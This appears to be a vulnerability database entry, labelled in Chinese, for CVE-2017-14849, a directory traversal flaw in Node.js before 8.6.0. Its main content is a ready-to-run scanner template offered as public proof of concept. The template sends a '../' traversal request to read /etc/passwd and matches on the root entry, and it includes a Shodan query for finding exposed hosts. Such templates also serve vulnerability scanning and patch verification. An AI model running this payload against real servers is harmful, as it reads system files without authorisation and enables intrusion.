CVE-2017-14849: Node.js <8.6.0 - Directory Traversal

日期: 2025-08-01 | 影响软件: Node.js | POC: 已公开

漏洞描述

Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.

PoC代码[已公开]

id: CVE-2017-14849

info:
  name: Node.js <8.6.0 - Directory Traversal
  author: Random_Robbie
  severity: high
  description: Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
  reference:
    - https://twitter.com/nodejs/status/913131152868876288
    - https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14849
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-14849
    cwe-id: CWE-22
    epss-score: 0.90232
    epss-percentile: 0.99578
    cpe: cpe:2.3:a:nodejs:node.js:8.5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: nodejs
    product: node.js
    shodan-query: cpe:"cpe:2.3:a:nodejs:node.js"
  tags: cve2017,cve,nodejs,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022050226ad4be3e605886475ddf0d630726df87d212d55b99ee84b5992ea66719ac0220454a3067e135feacb20b18cd082cd43c1046b98bb99d3dea7ad44c0969b07d53:922c64590222798bb761d5b6d8e72950

相关漏洞推荐